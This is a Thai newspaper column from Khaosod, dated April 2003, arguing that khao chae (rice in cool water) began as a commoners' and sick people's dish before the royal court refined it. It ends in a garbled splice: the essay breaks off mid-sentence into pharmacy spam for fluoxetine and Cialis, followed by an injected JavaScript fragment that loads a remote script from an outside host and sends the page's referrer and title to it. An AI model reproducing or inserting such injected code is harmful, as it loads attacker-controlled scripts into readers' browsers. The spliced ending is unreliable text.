ข่าวสด-วันพุธที่ ๑๖ เมษายน ๒๕๔๖

 

ข้าวแช่-มาแต่ไหน?

ของไพร่ หรือ ผู้ดี?

ข้าวแช่ มาจากไหน? เป็นอาหารของใคร? ไทย หรือ มอญ?

ไม่มีใครทุบโต๊ะตอบอย่างใดอย่างหนึ่งได้ทั้งนั้น ที่พูดๆ กันว่าเป็นอาหารประจำชนชาติมอญก็ไม่น่าเชื่อ เพราะที่ไหนๆ ก็กินกันอย่างนี้แต่ไหนแต่ไรมา จะต่างกันก็เฉพาะเครื่องกับข้าว

ต้องช่วยกันเข้าใจให้ตรงกันก่อนว่า ข้าวแช่ที่ซื้อกินกันทุกวันนี้เป็นสำรับของชาววัง ถึงมีเครื่องกินประดิดประดอย ไอ้นั่นนิดไอ้นี่หน่อย น่ารักน่าชังอะไรปานนั้น ไม่ใช่ของชาวบ้าน

จะตักกินให้จุปากก็ไม่ได้ ต้องกระมิดกระเมี้ยน เหมือนกระเหม็ดกระแหม่ คือต้องกินอย่างผู้ดี ไม่ใช่มูมมามอย่างขี้ข้าหรือไพร่บ้านพลเมือง

ข้าวแช่ชาวบ้านน่ะเรอะ-เอาข้าวสวยแช่น้ำฝนจากโอ่งดินที่รองเก็บไว้ตั้งแต่หน้าฝน ข้าวสวยจะเป็นตัวหรือไม่เป็นตัวช่างหัวมัน

เครื่องกินกับข้าวแช่ก็เอาอย่างแห้งๆ เข้าไว้ เพราะมีน้ำฝนแทนน้ำแกงแล้ว อะไรที่แห้งๆ ก็ใช้ได้ทั้งนั้นแหละ ขอให้มีกินเถอะน่า เกลือ กะปิ ปลาแห้งย่างหรือปิ้ง ฯลฯ ได้ทั้งนั้น

ที่ต้องเอาข้าวสวยมาแช่น้ำฝนจากโอ่งดิน เพราะอากาศมันร้อนชิบเป๋ง แล้วน้ำฝนในโอ่งดินมันเย็นดีนัก อย่าพูดถึงน้ำแข็ง เพราะไม่รู้จัก ถึงรู้จักก็ไม่มี ถึงมีก็แพงโว้ย

ข้าวแช่อย่างนี้บางทีใช้เป็นอาหารคนเจ็บไข้ได้ป่วย เพราะคนป่วยจะกินเหมือนคนไม่ป่วยไม่ได้ มันผิดผี คนป่วยต้องเข้ากำ คือกำอาหาร ต้องกินของแห้งๆ อย่างนี้แหละถึงจะหายเจ็บหายไข้

จะว่าไปแล้ว ข้าวแช่เป็นอาหารของไพร่บ้าล้าหลัง ของคนป่วย ของคนไม่ปกติที่ไม่มีอะไรจะกิน แต่แล้วสภาพแวดล้อมที่ร้อนรุ่มในฤดูร้อนที่ไม่เลือกผู้ดีหรือไพร่ ทำให้ใครๆ ก็ชอบกินข้าวแช่ของน้องหนู เพราะมันเย็นดี แล้วกลืนลงคอสะดวก คล่องคอนัก พวกผู้ดี (ที่เคยเป็นไพร่มาก่อน) เลยปรุงแต่งข้าวแช่ของไพร่ให้กลายเป็นของผู้ดี

จากชุมชนชาวบ้านชาววัดเลยเข้าไปถึงชาววังตั้งแต่บัดนั้น เมื่อเป็นชาววังจะมานั่งกินเอาๆ กับของแห้งๆ อย่างไพร่ก็ใช่ที่ เดี๋ยวไม่ใช่ผู้ดี จึงต้องตกแต่งประดิดประดอยพลิกแพลงเครื่องกินให้หรูเลิศวิลิศมาหราด้วยกรรมวิธีต่างๆ ดังที่เห็นและเป็นอยู่ทุกวันนี้

ทั้งหมดเป็นความสัมพันธ์ปกติธรรมดาระหว่างประเพณีราษฎร์กับประเพณีหลวง คือพวกไพร่มีอยู่ก่อน ต่อมาผู้ดีชอบ เพราะของไพร่อร่อย เลยเอาไปปรุงให้ซับซ้อนเป็น “สมบัติผู้ดี” แล้วส่งแบบแผนให้ไพร่อีกทีหนึ่ง พวกไพร่ได้ดีทั้งหลายก็ชื่นชมถือเป็นของหลวงของรั้ววังชั้นสูง แต่ที่แท้แล้วมีรากเหง้าจากของไพร่

เรื่องอื่นๆ ก็เป็นอย่างนี้ เช่น ดนตรีปี่พาทย์ ตลอดถึงละครในของราชสำนักก็เอาแบบไปจากละครนอกของไพร่

ไพร่ทั้งหลายในอุษาคเนย์มีทั้งมอญ ลาว ขมุ เขมร ละเวน ละว้า ฯลฯ ผสมกลมกลืนอย่าง “ร้อยพ่อพันแม่” ล้วนฟาดข้าวแช่เหมือนกันหมดมาแต่ดึกดำบรรพ์พันๆ ปีมาแล้ว

แต่ข้อสำคัญ ต้องเป็นข้าวเจ้า ไม่ใช่ข้าวไพร่ คือข้าวเหนียวfluoxetine 10 mg tablet buy extra super cialis onlines.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;